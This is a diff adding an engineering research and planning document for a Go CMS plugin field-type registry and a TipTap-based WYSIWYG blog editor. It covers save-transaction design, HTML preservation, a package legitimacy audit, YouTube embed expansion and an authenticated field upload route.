+| D-08, D-19 | `mlblogeditor` for post content, `blogeditor` for category content | Category content is not translatable (Go model and frozen PHP tree) |
+| D-11, D-12, D-13, D-15 | pact field-type API, boot validation, generic schema shape, global asset load | Pattern 1 (registry), Pattern 5 (element contract), Architecture Map |
+| D-16 | Plugin-owned JS build, committed dist | Pattern 8 (plugin build), Environment Availability |
+| D-18 | Image upload from the editor | **Open Question 1**: the existing route cannot be reached with the admin session cookie; Pattern 9 (cabana-owned field upload route) |
+| todo resave | Re-save of untouched imported HTML keeps both columns byte-identical | Validation Architecture (test map) |
+</phase_requirements>
+
+## Project Constraints (from CLAUDE.md)
+
+These directives come from `summercms.go/CLAUDE.md`, the meta-repo `CLAUDE.md` and the user's global `CLAUDE.md`. The planner must honor them like locked decisions:
+
+- **Lean planning.** Use fewer, larger plans. Before writing any PLAN.md, present the suggested plan count with a one-line scope for each and wait for confirmation.
+- **Unit tests are the last plan of the phase.** That plan brings full coverage. Earlier plans may carry smoke tests only.
+- **Go conventions.** Use the standard library first. Add a Go dependency only when research or a decision names it; this phase adds **no Go dependency**. `go vet` and `go test ./...` must be green at every commit.
+- **Compiled plugins only.** No runtime plugin loading. A JS custom element served from the embedded tree is the Phase 10.1 mechanism and is allowed.
+- **API parity.** The Journal public API keeps the PHP contract (D-09). Do not "improve" response shapes.
+- **Commits.** No co-author tags. One logical change per commit. Planning docs and code go in separate commits.
+- **Module documentation.** Any change to a `modules/` package's exported API, config keys, CLI or dependencies updates that module's `README.md` in the same change. `pact` and `cabana` both change here. The affected `docs/` pages change with them, and `go test ./cmd/summer -run TestDocsTree` must pass. Every identifier named in a README or doc must exist.
+- **Framework READMEs never name a consuming application.** Use `blog`/`acme` examples, not Journal or grzybyfunkcjonalne.
+- **Core plugin contracts.** Do not break the shared PHP contracts. The PHP originals are not changed.
+- **Concurrent session.** Another session may be editing `modules/` (16.1 D-02). Stage files explicitly by path and check for in-flight edits to shared cabana files before committing.
+
+## Summary
+
+The framework half is a new, value-bearing extension point that sits next to the valueless Phase 10.1 `type: widget`. Today every layer hard-codes its type list:
+
+- `formFieldTypes` in `form_schema.go`
+- `scalarFormField` in `crud.go`
+- `mlFieldType` in `field_ml.go`
+- `listColumnTypes` in `list_schema.go`
+- the SPA `renderers` map and `ML_FIELD_TYPES`
+
+Each list must consult a per-boot plugin type registry, built in `cabana.Activate` from plugins that implement a new `pact.HasFormFieldTypes`. Three constraints shape the design:
+
+- **Thread the registry through.** `compileFieldNode` is a pure function with no registry access, and `decodeFields` is shared by controller forms, settings forms and relation child forms. The registry has to be passed down, not read from a package global.
+- **Keep the YAML pre-check working.** The YAML key pre-check (`formFieldKeys`) runs before the type is known, so plugin-specific keys must be validated after the type is resolved.
+- **Run Decode and Load inside the transaction.** `liftMLValues` runs before the transaction and before the record is loaded. Plugin Decode and Load need the loaded record (D-07 serves `content_html`; D-03 compares with the served value), so they run inside the transaction after `loadRecord`.
+
+Two findings change the plan:
+
+- **The Journal media upload route is unreachable from the admin SPA (D-18).**
+  - The SPA authenticates with the HttpOnly `summer_admin` cookie, whose `Path` is the admin prefix.
+  - The route lives at `/_journal/api/v1/media/upload`, outside that path, and its guard reads only a Bearer header.
+  - The element is never given a token (Phase 10.1 rule).
+  - The recommended fix: a cabana-owned upload route for plugin field types. It sits under the admin API, so it gets the cookie, the CSRF header, permissions and the record scope. Journal implements it by calling the same storage code as the existing route.
+- **TipTap's default schema is very lossy on this site's real markup.** Probed against 3.31.4 with the author-footer HTML from the grzybyfunkcjonalne export, the default schema:
+  - drops `<footer>`, `<div>`, `<span style>`, `<style>`, `<figure>`/`<figcaption>` and microdata attributes;
+  - normalizes entities;
+  - rewrites tables (adds `colgroup` and `min-width` styles, drops `thead`, wraps cell text in `<p>`);
+  - adds `target="_blank" rel="noopener noreferrer nofollow"` to every link;
+  - appends an empty `<p>`.
+
+  Byte preservation therefore has two layers:
+  - The element never re-serializes an untouched document, and the server skips a submitted value that equals what it served.
+  - For edited documents, the custom schema is configured to keep as much markup as possible: an atomic raw-HTML block, a global attribute map, figure, embed and span nodes, and links and tables without TipTap's default attributes.
+
+There is also a latent gap. The admin path never writes the non-default locale `content_html` translation; only the host column is set by `FormBeforeUpdate`. PHP's `MLJournalMarkdown::getSaveValue` wrote both per locale. The plugin ML type must close this gap, so the framework has to tell the Journal hooks which field and locale values a save actually wrote.
+
+**Primary recommendation:** Add `pact.HasFormFieldTypes` returning `[]pact.FormFieldType` (a struct of funcs, the same style as `pact.AdminAction`) with `Name`, `Element`, `Translatable`, `Scripts`/`Styles`, option keys plus `CheckOptions`, `Decode`, `Load`, `ListValue` and an optional `Upload`. Cabana runs Decode and Load per locale inside the save transaction, skips values equal to what it served, and exposes the writes to Form hooks through a context accessor. Build the Blog Editor as a light-DOM custom element `golem15-journal-blogeditor` on TipTap 3.31.4 with a preservation-first schema, bundled with the admin SPA's pinned Vite 7.3.5.
+
+## Architectural Responsibility Map
+
+| Capability | Primary Tier | Secondary Tier | Rationale |
+|------------|-------------|----------------|-----------|
+| Field type registration, alias collision, option validation | API / Backend (cabana boot) | — | Fail-loud boot rule (ADMIN-07 precedent); no request input involved |
+| Decode/validate (CheckHTML) per locale, untouched skip | API / Backend (cabana save tx + plugin Decode) | — | XSS gate must be server-side on every write path (D-10); hooks only see the host model |
+| Load (markdown post → `content_html`) | API / Backend (plugin Load in Show/save response) | — | Needs the record and translations; the element must receive the served string |
+| Locale storage (ML variant) | API / Backend (cabana lift/hydrate + TranslationWriter) | Database (translate overlay) | D-14: not reimplemented per plugin |
+| `content_html` companion write (host + non-default) | API / Backend (Journal Form hooks) | — | Journal-specific derived column; needs to know which values were written |
+| Global field-type asset delivery | API / Backend (cabana asset route + boot endpoint) | Browser (SPA loader) | Assets are embedded and hashed at boot (D-13, 10.1 D-16) |
+| WYSIWYG editing, source toggle, dirty tracking | Browser (custom element) | — | Pure client concern; SPA build gains no editor dependency (D-16) |
+| Value binding element ↔ form state | Browser (SPA generic PluginField) | — | Replaces UnsupportedField fallback for plugin types |
+| Image upload transport | Browser (SPA posts with admin session) | API / Backend (cabana upload route → plugin Upload) | Element never holds credentials (10.1 rule) |
+| Image storage | API / Backend (Journal media store) | CDN / Static (nginx `/storage/app/uploads/public`) | Same key layout and public URL as the existing route |
+| Embed placeholder → iframe | Frontend Server (SSR, vue-journal-layer) | Browser (hydration) | D-05/D-17: iframes exist only after the frontend gate |
+
+## Standard Stack
+
+### Core (JS, sm-journal-plugin only; the admin SPA gains no editor dependency per D-16)
+
+| Library | Version | Purpose | Why Standard |
+|---------|---------|---------|--------------|
+| `@tiptap/core` | 3.31.4 (published 2026-09-30, MIT) | Editor API, `Node`/`Extension`/`Mark` factories | Locked by D-16 [VERIFIED: npm registry: `npm view @tiptap/core version license`] |
+| `@tiptap/pm` | 3.31.4 (MIT) | ProseMirror re-export (model/view/state/tables) | Peer dependency of core; pins prosemirror-model ^1.25.11, prosemirror-view ^1.42.3 [VERIFIED: npm registry] |
+| `@tiptap/starter-kit` | 3.31.4 (MIT) | Paragraph, headings, bold/italic, lists, blockquote, link, history, trailing node | Configure with `trailingNode: false` and a reconfigured `link` (see Pitfalls) [VERIFIED: node_modules/@tiptap/starter-kit/src/starter-kit.ts:166-169] |
+| `@tiptap/extension-table` | 3.31.4 (MIT) | `TableKit` (table, row, header, cell) | Official table support; override `renderHTML` to stop the colgroup/min-width output [CITED: tiptap.dev/docs/editor/extensions/nodes/table] |
+| `@tiptap/extension-image` | 3.31.4 (MIT) | `img` node (block by default, `allowBase64: false`) | Base for the figure/caption node; base64 refused by default [VERIFIED: node_modules/@tiptap/extension-image/src/image.ts:87-90,127] |
+
+### Supporting (build/test, devDependencies of the plugin JS build, versions pinned to the admin SPA's lockfile)
+
+| Library | Version | Purpose | When to Use |
+|---------|---------|---------|-------------|
+| `vite` | 7.3.5 | Library-mode build of `assets/src` to one ES module `assets/dist/blogeditor.js` (+ `.css`) | Same pin as `admin/package.json`; avoids a second bundler in the repo set [VERIFIED: summercms.go/admin/package.json] |
+| `vitest` | 3.2.7 | Unit tests of the serializer, dirty tracking, embed node | Same pin as the admin SPA [VERIFIED: admin/package.json] |
+| `happy-dom` | 20.11.6 | DOM for vitest; also used in this session's probes (TipTap runs on it) | Same pin as the admin SPA [VERIFIED: admin/package.json; local probe ran Editor on happy-dom] |
+| `typescript` | 5.9.3 | Type-check the element source | Same pin as admin SPA and vue-journal-layer |
+
+Go side: **no new dependency.** It uses `encoding/json` and `strings` in the Journal Decode/Load, and the existing `gocloud.dev/blob` in the media store.
+
+### Alternatives Considered
+
+| Instead of | Could Use | Tradeoff |
+|------------|-----------|----------|
+| Vite library mode | esbuild 0.28.2 directly | esbuild is smaller and faster, but it adds a second toolchain next to the admin's pinned Vite. It also has a `postinstall` (`node install.js`) binary fetch. Vite 7.3.5 already uses esbuild internally. |
+| Light-DOM element + tag-scoped CSS | Shadow DOM | Shadow DOM isolates styles, but ProseMirror selection inside shadow roots has historically had browser quirks. The 10.1 rule already restricts plugin CSS to `--c-*` variables, and those variables inherit either way. [ASSUMED] |
+| One bundle (~430 KiB min / ~135 KiB gzip) | Lazy chunk loaded on first element connect | Lazy loading needs a declared-but-not-auto-loaded asset, which the 10.1 asset mechanism does not model. One bundle is revalidated with `ETag`/304 per page. |
+
+**Installation (in `../sm-journal-plugin`):**
+```bash
+npm init -y   # or a hand-written package.json with "private": true, "type": "module"
+npm install --save-exact @tiptap/core@3.31.4 @tiptap/pm@3.31.4 @tiptap/starter-kit@3.31.4 @tiptap/extension-table@3.31.4 @tiptap/extension-image@3.31.4
+npm install --save-exact -D vite@7.3.5 vitest@3.2.7 happy-dom@20.11.6 typescript@5.9.3
+```
+
+**Bundle size (measured):** StarterKit + TableKit + Image + core bundled with esbuild 0.28.2 `--minify --format=esm`: 440,767 bytes minified, 138,583 bytes gzip -9. [VERIFIED: local build in session scratchpad]
+
+## Package Legitimacy Audit
+
+| Package | Registry | Age | Downloads | Source Repo | Verdict | Disposition |
+|---------|----------|-----|-----------|-------------|---------|-------------|
+| @tiptap/core | npm | latest 3.31.4 published 2026-09-30 (9 days) | 21.5M/wk | github.com/ueberdosis/tiptap | [SUS] reason `too-new` (the release, not the package) | Flagged: planner adds checkpoint:human-verify before install |
+| @tiptap/pm | npm | 3.31.4, 9 days | 21.4M/wk | github.com/ueberdosis/tiptap | [SUS] `too-new` | Flagged |
+| @tiptap/starter-kit | npm | 3.31.4, 9 days | 18.4M/wk | github.com/ueberdosis/tiptap | [SUS] `too-new` | Flagged |
+| @tiptap/extension-table | npm | 3.31.4, 9 days | 6.0M/wk | github.com/ueberdosis/tiptap | [SUS] `too-new` | Flagged |
+| @tiptap/extension-image | npm | 3.31.4, 9 days | 9.3M/wk | github.com/ueberdosis/tiptap | [SUS] `too-new` | Flagged |
+| @tiptap/extension-link | npm | 3.31.4 (via starter-kit) | 19.5M/wk | github.com/ueberdosis/tiptap | [SUS] `too-new` | Flagged (transitive) |
+| esbuild | npm | 0.28.2 | 299M/wk | github.com/evanw/esbuild | [OK]; `postinstall: node install.js` (platform binary fetch, known) | Not recommended directly; arrives via Vite |
+| vite, vitest, happy-dom, typescript | npm | pinned versions already in `summercms.go/admin/package-lock.json` | — | — | not re-run (already vetted in Phase 10) | Approved (same pins) |
+
+**Packages removed due to [SLOP] verdict:** none.
+**Packages flagged as suspicious [SUS]:** every `@tiptap/*` package, for the single reason `too-new`. The 3.31.4 release is 9 days old; the packages themselves have tens of millions of weekly downloads and none has a `postinstall` script.
+- The planner adds a `checkpoint:human-verify` before the first `npm install`.
+- Alternatively, pin an earlier 3.x release that is more than 14 days old. The package names come from TipTap's official docs and npm (`[VERIFIED: npm registry]`) and the seam was run (`msd-tools query package-legitimacy check`).
+
+## Architecture Patterns
+
+### System Architecture Diagram
+
+```
+                         BOOT (cabana.Activate)
+plugins ──HasFormFieldTypes──> fieldTypeRegistry ──┬─> alias collision check vs core types + other plugins (fail boot)
+   │                                               ├─> read+hash Scripts/Styles from AdminFS (reuse compileClientAssets reader)
+   │                                               └─> passed into decodeFields(...) for controller / relation-child forms
+   │                                                    (settings forms: refuse plugin types at boot in v1)
+   ▼
+fields.yaml `type: mlblogeditor` ──> compileFieldNode: core key check, then plugin keys ──> CheckOptions ──> FormField{type, element, translatable, typeOptions}
+
+                         ADMIN SPA
+login ─> app shell ─> GET /field-types (or navigation meta) ─> loadScript(each) once, global CSS always enabled
+FormView ─> rendererFor(type) ─ unknown/plugin ─> PluginField ─(translatable)─> MLField(inner = PluginField)
+PluginField ── el.value = served string ──> <golem15-journal-blogeditor>
+           <── 'summer-change' {value} ──   (element keeps original string until a user edit)
+           <── 'summer-upload' {id,file} ── ─> POST {api}/{v}/{p}/{c}/{id}/fields/{field}/upload (cookie + X-Requested-With)
+           ── 'summer-upload-result' {id,url|error} ──>
+
+                         SAVE (PUT {api}/{v}/{p}/{c}/{id})
+body ─> lift plugin values (shape: plain any JSON | ML map of enabled locale -> string)
+     ─> tx: loadRecord(FormExtendQuery scope)
+          ─> per (field, locale): served := Load(record, locale); if update && submitted == served -> SKIP
+                                  else Decode(...) -> CheckHTML -> 422 FieldError | stored value
+          ─> default-locale values onto body -> Fill ; non-default -> translations list
+          ─> ctx += written {field: {locale: value}}  (accessor for hooks)
+          ─> FormBeforeUpdate (Journal: content_html := content only if content written)
+          ─> row Save ─> applyMLTranslations ─> FormAfterUpdate (Journal: WriteTranslated content_html per written non-default locale)
+          ─> projectFullRecord ─> hydrate: Load per locale ─> response
+
+                         PUBLIC SITE (vue-journal-layer)
+API content_html ─> gateJournalHtml (3 regexes, refuses raw iframe) ─> expandEmbeds (allowlist + id regex) ─> v-html
+```
+
+### Recommended Project Structure
+
+```
+summercms.go/
+├── modules/pact/capabilities.go        # + FormFieldType, FormFieldInput, FieldError, HasFormFieldTypes, FormFieldUpload*
+├── modules/cabana/field_type.go        # NEW: registry build, collision/alias rules, option check, Decode/Load runner, list formatter
+├── modules/cabana/field_type_upload.go # NEW: POST .../{id}/fields/{field}/upload handler
+├── modules/cabana/form_schema.go       # decodeFields/compileFieldNode take the registry; plugin keys after type resolution
+├── modules/cabana/crud.go              # save(): plugin lift/decode/skip in tx; written-values context; scalarFormField registry-aware
+├── modules/cabana/field_ml.go          # mlFieldType registry-aware; hydrate calls Load
+├── modules/cabana/admin_openapi.go     # new route(s) + FormField generic fields
+├── admin/src/components/form/fields/PluginField.vue   # NEW generic element host
+├── admin/src/app/fieldTypes.ts         # NEW global loader (scripts once, CSS never disabled)
+└── docs/backend/field-types.md (or a section in partials-and-widgets.md) + site.yaml nav
+
+sm-journal-plugin/
+├── assets/src/blogeditor/              # element.ts, schema/*.ts (rawHtml, figure, embed, span, globalAttrs, table), serializer.ts
+├── assets/dist/blogeditor.js|.css      # committed, embedded via //go:embed in admin.go
+├── classes/blog_editor.go              # NEW: FormFieldType values (blogeditor, mlblogeditor): Decode/Load/ListValue/Upload
+├── classes/media_store.go              # NEW: storage function extracted from controllers/api/media.go (shared)
+├── controllers/posts.go, categories.go # hooks: no FormatHTML on admin path; content_html companion writes
+├── package.json, package-lock.json, vite.config.ts, scripts/check-dist.sh
+└── models/post/fields.yaml (mlblogeditor), models/category/fields.yaml (blogeditor)
+
+vue-journal-layer/app/utils/embeds.ts   # NEW: expandEmbeds(html) after gateJournalHtml; PostBody + CategoryHeader
+```
+
+### Pattern 1: Per-boot field type registry threaded through compile
+
+**What:** Collect `pact.HasFormFieldTypes` from every activated plugin in `Activate` and pass the registry into `compileRegistry` and from there into `decodeFields` and `compileFieldNode`. Validate aliases with an identifier rule, for example `^[a-z][a-z0-9]*$`, and reject:
+- duplicates;
+- any name in the core `formFieldTypes` set;
+- the reserved names `widget` and `partial`.
+
+**Verified integration points (quoted from source):**
+- The closed type set [VERIFIED: modules/cabana/form_schema.go:24-30]:
+  `"text": {}, "textarea": {}, "number": {}, "checkbox": {}, "switch": {}, "dropdown": {}, "relation": {}, "relation-manager": {}, "widget": {}, "partial": {}, "fileupload": {}, "datepicker": {}, "password": {}, "permissioneditor": {}, "markdown": {}, "mltext": {}, "mltextarea": {}, "mlmarkdown": {},`
+- The unknown-key check runs before the type is known [VERIFIED: modules/cabana/form_schema.go:466-468]: `if _, known := formFieldKeys[key]; !known { return FormField{}, fmt.Errorf("unknown field %s", key) }`. The type is resolved afterwards [form_schema.go:474-480]. Plugin keys therefore need either a two-pass key check or a resolve-type-first reorder.
+- `decodeFields(raw []byte)` has three callers: form_schema.go:194 (controller form), settings.go:74 (settings), relation_form.go:145 and :246 (relation child and pivot forms). [VERIFIED: grep + Read of form_schema.go]
+- Registry construction lives in `Activate`, http.go:74-121: `collectControllers` → `compileRegistry(items)` → `compileContributions(reg, plugins)`. `compileRegistry` receives only `items []controllerRef`, so it needs a new parameter. [VERIFIED: modules/cabana/http.go:75-119; registry.go:57]
+- The save classifier [VERIFIED: modules/cabana/crud.go:1224-1232]: `case "text", "textarea", "number", "checkbox", "switch", "dropdown", "datepicker", "markdown", "mltext", "mltextarea", "mlmarkdown": return true`. `BindWritableFields` (crud.go:204) and `mergedRules` (crud.go:1073) use it, so a plugin type bound to a column must count as writable.
+- ML classifier [VERIFIED: modules/cabana/field_ml.go:11-15, 47-53]: `mlTextFieldType = "mltext"`, `mlTextareaFieldType = "mltextarea"`, `mlMarkdownFieldType = "mlmarkdown"`.
+- List column types [VERIFIED: modules/cabana/list_schema.go:22-24]: `"text": {}, "datetime": {}, "switch": {}, "date": {}, "time": {},`. List rows are projected by `projectRow` (http.go:1067), which copies raw field values. Columns typed with a plugin alias call `ListValue`.
+- The widget tag rule to reuse for `Element` [VERIFIED: modules/cabana/extension.go:18, 48-50]: `^[a-z][a-z0-9]*(-[a-z0-9]+)+$`, and the prefix is the plugin ID with `.`/`_` → `-` plus `-` (`golem15.journal` → `golem15-journal-`).
+
+**Recommendation:** Do not use a package-level mutable registry. Tests construct several services in one process; the existing code builds everything per `Activate`. Use a small `fieldTypes` value passed as a parameter, or attached to a compile-context struct.
+
+### Pattern 2: Save lifecycle for plugin types (D-12 items 2-3, D-14)
+
+**What:** Plugin values are handled in two places:
+1. **Before the transaction**, a shape check. It reuses the `liftMLValues` rules for a translatable type: an object of enabled locale → string with the default locale required. A plain type accepts any JSON value.
+2. **Inside the transaction after `loadRecord`**, a per-locale Load → compare → Decode step.
+
+Decoded default-locale values go onto the body, so `lagoon.Fill` applies them, `Fillable` and `context:` are still enforced, and `FormBeforeUpdate` sees them on the model. Non-default values join the existing `translations` list for `applyMLTranslations`.
+
+**Why inside the transaction:** the current order in `save()` is: ML lift at crud.go:600 (before the transaction), then `loadRecord` (crud.go:616), Fill, BeforeValidate, Validate, `formBeforeUpdate`, row Save, `applyMLTranslations` (crud.go:688), `formAfterUpdate`, `projectFullRecord` and `hydrateMLRecord` (crud.go:709). [VERIFIED: modules/cabana/crud.go:567-711] Load needs the record, for example to serve `content_html` for a markdown post (D-07), so the untouched comparison can only run after the load.
+
+**Error mapping:** pact cannot import cabana, so it cannot return `*cabana.ValidationError`. Define `pact.FieldError{Messages []string}`. Cabana maps it to a 422 on that field. Any other error becomes the opaque 500 or lifecycle error, so internal error text never leaks. This matches the existing `ValidationError`/`ForbiddenError` handling in `lifecycleFailure` (crud.go:815-850).
+
+**Written-values accessor (closes the companion-column gap):** after the decode step, put the written values on the context, the same pattern as `withVirtualFields`/`VirtualFieldsFromContext` (tx_context.go:38-54), for example `cabana.FieldWritesFromContext(ctx) map[string]map[string]string`, which maps field → locale → value for the values actually written. Form hooks read it:
+- **Journal `FormBeforeCreate`/`FormBeforeUpdate`:** if `content` was written in the default locale, set `ContentHTML = Content`; otherwise leave `ContentHTML` alone, which keeps it byte-identical.
+- **Journal `FormAfterCreate`/`FormAfterUpdate`:** for each written non-default locale of `content`, call `writer.WriteTranslated(ctx, tx, post, "content_html", locale, value)`. The hook runs after `applyMLTranslations` (crud.go:688 runs before `formAfterUpdate` at :698), so the host row has its id.
+
+### Pattern 3: Two-layer untouched detection (D-03)
+
+The **client** never re-serializes an untouched document:
+- the element stores the exact string it was given;
+- its `value` getter returns that string until a user-originated `docChanged` transaction or a source-textarea `input`;
+- the initial content goes in with `emitUpdate: false`.
+
+The **server** skips any per-locale value equal to the value it served (`Load` output) on update, so neither column, nor the translation, is written. Both layers are needed:
+- The client layer alone fails for a markdown post. The element is served `content_html`, so an untouched save would send `content_html` and overwrite the markdown `content`. The server comparison stops that.
+- It also fails for imported posts whose `content_html` differs from `content`. In the local grzybyfunkcjonalne export, 17 of 100 pl translations differ, for example `&quot;` versus `"`. [VERIFIED: analysis of /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/journal-export/*.json in this session; note this export is from March 2026 and older than UAT data]
+- The server layer alone fails because TipTap normalizes on load, as Pitfall 1 shows, so an editor that re-serialized on load would never match.
+
+**Generic semantics:** "a value equal to what the form was served is not written" holds for any plugin type, so cabana can apply it without the plugin opting in.
+
+### Pattern 4: Preservation-first editor schema (D-03 "as far as possible", D-04)
+
+Build these on top of `StarterKit.configure({ trailingNode: false, link: { HTMLAttributes: { target: null, rel: null, class: null }, openOnClick: false } })`:
+
+1. **`rawHtml` atomic block node:**
+   - `atom: true`, `group: 'block'`, low priority.
+   - `parseHTML` rules for block tags the schema does not model: `footer`, `section`, `aside`, `header`, `nav`, `details`, `style`, and `div` (or only a `div` with attributes).
+   - It stores the outer HTML.
+   - The editor shows it as a non-editable card that opens in the source tab. A probe showed it keeps the footer and `<style>` (with `itemscope` → `itemscope=""` normalization). ProseMirror's parser ignores `style` by default, but a matching rule overrides that. [VERIFIED: local probe; prosemirror-model dist ignoreTags = `head, noscript, object, script, style, title`]
+2. **Global attribute map:** an `Extension` with `addGlobalAttributes` over the modelled node types. One `htmlAttrs` attribute captures every attribute the node does not model and renders it back. In the probe it kept `class`/`data-x`/`itemprop`; attribute order can change. [VERIFIED: local probe; CITED: tiptap.dev/docs/editor/extensions/custom-extensions/extend-existing (`types: '*' | 'nodes' | 'marks'`)]
+3. **`span` mark** with the same attribute map, for inline `style`/`class` spans such as the footer's `<span style="color: #138c74;">`.
+4. **`figure` node** containing an image plus an optional `figcaption` (D-18 caption). Without it, the probe showed `<figure>` unwrapped and `figcaption` becoming a `<p>`.
+5. **`embed` atomic node**, rule `figure[data-embed]` with higher priority than `figure`. It renders exactly `<figure data-embed="youtube" data-id="ID"></figure>`; the probe round-tripped this exactly.
+6. **Table:** `TableKit` with a `renderHTML` override that emits no `colgroup` or `min-width` style.
+7. **Custom serializer for `getValue()`:** do not use `editor.getHTML()` for the stored value. Walk the top-level nodes:
+   - emit `rawHtml` nodes verbatim;
+   - for other nodes, use `DOMSerializer.fromSchema(schema).serializeNode(node)`.
+
+   An optional refinement: at load, parse each top-level DOM child on its own and remember (nodes, outerHTML). On serialize, emit the remembered outerHTML for any run of top-level nodes that are still `Node.eq` to the originals. Unedited paragraphs then stay as the browser serialized them, which reduces diff churn on long imported posts. This is a design proposal [ASSUMED]; `Node.eq` exists in prosemirror-model [VERIFIED: node_modules/prosemirror-model/dist/index.js:217].
+
+**The source tab** is a `<textarea>` bound to the exact string. Switching source → WYSIWYG re-parses; that counts as an edit only if the text changed.
+
+### Pattern 5: Element contract (D-13), extending the 10.1 widget contract
+
+- **Tag:** the plugin prefix rule (`golem15-journal-blogeditor`). It is defined by the plugin script, loaded globally after login.
+- **Inputs:**
+  - The `value` property (string for the Blog Editor; any JSON for other types).
+  - Attributes `field-name`, `locale`, `record-id` (empty on create) and `invalid`, `disabled`/`readonly`.
+  - Attribute `options` with the JSON of the type's YAML options.
+  - Setting `value` to the string the element last emitted must be a no-op, so there is no cursor reset on echo.
+- **Outputs (all bubbling `CustomEvent`s):**
+  - `summer-change` with `detail.value`, emitted only on user edits.
+  - `summer-upload` with `detail { id, file }`. The SPA posts the file to the field upload route with the admin session and answers on the element with `summer-upload-result` `{ id, url } | { id, error }`.
+- **Never handed to the element:** a token, a cookie, a function or a Vue instance (WidgetField.vue header rule). [VERIFIED: admin/src/components/form/fields/WidgetField.vue header comment]
+- **Event-name precedent:** `WIDGET_EVENT = 'summer-action'` and `WIDGET_RESULT_EVENT = 'summer-result'`. [VERIFIED: admin/src/components/form/formContext.ts:86,93]
+- **SPA changes:**
+  - `rendererFor` falls back to `PluginField` for types carrying `element`.
+  - `isRegistered` returns true for plugin types.
+  - `valueless` stays `[RELATION_MANAGER, 'widget', 'partial', 'fileupload']` [VERIFIED: registry.ts:87].
+  - `isMLFieldType(type)` (`ML_FIELD_TYPES = new Set(['mltext', 'mltextarea', 'mlmarkdown'])` [VERIFIED: mlLocale.ts:2]) must also accept plugin fields flagged `translatable`. Its callers in `formState.ts` (`editablePayload`, `initialValues`, `adopt`, `recordDisplayName`) pass a type string, so either switch them to a field-based check or register translatable plugin types at schema load.
+- **CSS:** `loadStyles`/`activateStyles` disable stylesheets owned by other controllers [VERIFIED: admin/src/app/pluginAssets.ts]. Field-type CSS needs an owner that is never disabled. Scope its selectors under the element tag and use only `--c-*` variables (cabana README:134).
+
+### Pattern 6: Journal integration
+
+- **Register both types on the Plugin**, not on a controller, because field types are global (D-13). Embed `assets/dist/blogeditor.js` and `.css` through the existing `//go:embed` list in `admin.go`. The assets are served at `<prefix>/assets/golem15/journal/dist/blogeditor.js?v=<hash>` (key = `vendor/plugin/<path after assets/>`, extension.go:281).
+- **Decode (both types):** check that the value is a string, run `classes.CheckHTML(value)` and return the string unchanged. CheckHTML errors become `pact.FieldError`. The gate patterns [VERIFIED: sm-journal-plugin/classes/format_html.go:25-27]:
+  - ``(?i)<(?:script|iframe|object|embed)\b``
+  - ``(?i)\son[a-z]+\s*=``
+  - ``(?i)(?:javascript|vbscript|data):``
+- **Load (post `content`):** if the stored `content` looks like HTML (first non-space byte is `<`), serve `content`. Otherwise it is a markdown post, so serve `content_html` for that locale. For a non-default locale, read it through the app's `cabana.TranslationWriter` (`TranslatedExact(..., "content_html", locale)`). This "looks like HTML" rule is a heuristic [ASSUMED]; see the Assumptions Log.
+- **Hooks:** `preparePostWrite` (posts.go:213-219: `html, err := classes.FormatHTML(post.Content)` … `post.ContentHTML = html`) stops calling `FormatHTML` on the admin path and uses the written-values accessor instead (Pattern 2). The API path (`controllers/api/posts_helpers.go`) keeps `FormatHTML` (D-09). [VERIFIED: sm-journal-plugin/controllers/posts.go:213,219]
+- **Fields:**
+  - `models/post/fields.yaml:19` changes `type: mlmarkdown` → `type: mlblogeditor`.
+  - `models/category/fields.yaml:28` changes `type: textarea` → `type: blogeditor`.
+
+  [VERIFIED: grep -n of both files]
+- **Category content is not translatable:**
+  - Go model: `Content *string` … `// HTML body (D-21): stored and served as is, not translatable` [VERIFIED: models/category.go:12].
+  - `func (Category) Translatable() []string { return []string{"name", "description", "slug"} }` [VERIFIED: models/category.go:26].
+  - The frozen PHP `Category::$translatable` is `'name', 'description', ['slug', 'index' => true]`, and the PHP category form has no content field at all [VERIFIED: /media/nvme/dev/golem15/fonoteka/plugins/golem15/journal/models/Category.php:36-40, models/category/fields.yaml].
+  - So D-19 resolves to **`blogeditor`**.
+  - `Content` is `*string`: Decode/Load must handle a nil pointer, and `prepareCategoryWrite` still maps blank to NULL.
+- **Post translatable attributes:** `return []string{"title", "content", "content_html", "excerpt", "metadata", "slug"}` [VERIFIED: models/post.go:43-45]. `content_html` is translatable, so the non-default companion write is required.
+
+### Pattern 7: Embed expansion in vue-journal-layer (D-17)
+
+Order matters: `gateJournalHtml(html)` runs first and refuses any raw iframe in stored HTML. Then `expandEmbeds(gated.html)` replaces only exact placeholders, `<figure data-embed="youtube" data-id="([A-Za-z0-9_-]{11})"></figure>` (optionally with a `figcaption`), with:
+
+```html
+<figure class="journal-embed journal-embed--youtube"><iframe src="https://www.youtube-nocookie.com/embed/ID" ...></iframe></figure>
+```
+
+- The transform is string-based and SSR-safe; there is no DOM on the server.
+- It applies in both v-html sinks: `PostBody.vue:11` and `CategoryHeader.vue:17` [VERIFIED: grep of vue-journal-layer/app].
+- Unknown providers or malformed ids stay inert.
+- The site's nginx config sets no CSP, so the iframe needs no header change [VERIFIED: grep of sm-grzybyfunkcjonalne-app/deploy/nginx shows only HSTS and nosniff `add_header`].
+- Privacy-enhanced mode is the `youtube-nocookie.com` embed domain [CITED: support.google.com/youtube/answer/171780].
+
+### Pattern 8: Plugin JS build (D-16)
+
+Mirror `scripts/check-admin-dist.sh`, which rebuilds into a temporary directory and fails on `diff -r` against the committed `dist`. The plugin gets:
+- `package.json` with exact pins and a `package-lock.json`;
+- `vite.config.ts` in library mode (`build.lib` with `formats: ['es']`, `fileName: 'blogeditor'`, a stable output name with no content hash, because cabana adds `?v=` itself);
+- `scripts/check-dist.sh`.
+
+The Go build never runs npm, so a host app needs no Node (D-16). Do not let the bundle depend on `eval`/`new Function`: the admin CSP is `"frame-ancestors 'none'; base-uri 'none'; object-src 'none'; script-src 'self'"` [VERIFIED: modules/boardwalk/boardwalk.go:32]. There is no `style-src`, so TipTap's injected style tag (`injectCSS`, default true) is allowed. It is still cleaner to set `injectCSS: false` and ship the CSS in `blogeditor.css`.
+
+### Pattern 9: Field upload route (resolves D-18 reachability; see Open Question 1)
+
+The route is `POST {admin}/api/v1/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload`, multipart with one `file` part, where `{id}` 0 means the create form, the same convention as the fileupload routes. Cabana owns:
+- the backend guard (cookie or Bearer);
+- `requireAjax`;
+- the controller's `RequiredPermissions`;
+- the record scope through `FormExtendQuery` when `id != 0`;
+- the body cap `http.body_limits.upload_bytes` (`s.uploadBytes`);
+- "the field exists in the form, its type is a plugin type with an `Upload` func, and its context allows the operation".
+
